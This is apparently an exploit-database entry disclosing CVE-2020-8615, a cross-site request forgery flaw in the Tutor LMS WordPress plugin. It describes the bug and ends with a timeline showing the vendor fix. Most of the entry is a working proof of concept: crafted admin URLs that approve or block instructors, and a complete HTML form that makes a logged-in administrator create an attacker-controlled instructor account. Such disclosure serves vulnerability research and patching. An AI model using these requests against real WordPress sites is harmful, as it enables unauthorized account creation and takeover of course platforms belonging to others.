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# Exploit Title: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)  
# Date: 2020-01-30  
# Vendor Homepage: https://www.themeum.com/product/tutor-lms/  
# Vendor Changelog: https://wordpress.org/plugins/tutor/#developers  
# Exploit Author: Jinson Varghese Behanan  
# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/  
# Author Homepage: https://www.jinsonvarghese.com  
# Version: 1.5.2 and below  
# CVE : CVE-2020-8615  
  
# 1. Description  
  
# The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses.   
# An attacker can use CSRF to register themselves as an instructor or block other legit instructors.   
# Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings   
# page, the attacker will be able to create courses directly as well. All WordPress websites   
# using Tutor LMS version 1.5.2 and below are affected.  
  
# 2. Proof of Concept  
  
# As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF   
# attack to approve an attacker-controlled instructor account can be performed by having the admin   
# visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly,   
# after retrieving the instructor ID during the registration process. An approved instructor can also be blocked   
# by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7.  
  
# CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor   
# in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval.   
# This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is   
# hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can   
# be tricked into visiting the link and triggering the request to add an instructor.  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="https://TARGET/wp-admin/admin-ajax.php" method="POST">  
<input type="hidden" name="action" value="add_new_instructor" />  
<input type="hidden" name="first_name" value="John" />  
<input type="hidden" name="last_name" value="Doe" />  
<input type="hidden" name="user_login" value="jd_instructor" />  
<input type="hidden" name="email" value="jd@TARGET" />  
<input type="hidden" name="phone_number" value="1231231231" />  
<input type="hidden" name="password" value="Pa$$w0rd!" />   
<input type="hidden" name="password_confirmation" value="Pa$$w0rd!" />  
<input type="hidden" name="tutor_profile_bio" value="Et tempore culpa n" />  
<input type="hidden" name="action" value="tutor_add_instructor" />   
<input type="submit" value="Submit request" />  
</form>   
</body>  
</html>  
  
3. Timeline  
  
Vulnerability reported to the Tutor LMS team – January 30, 2020.  
Tutor LMS version 1.5.3 containing the fix released – February 4, 2020.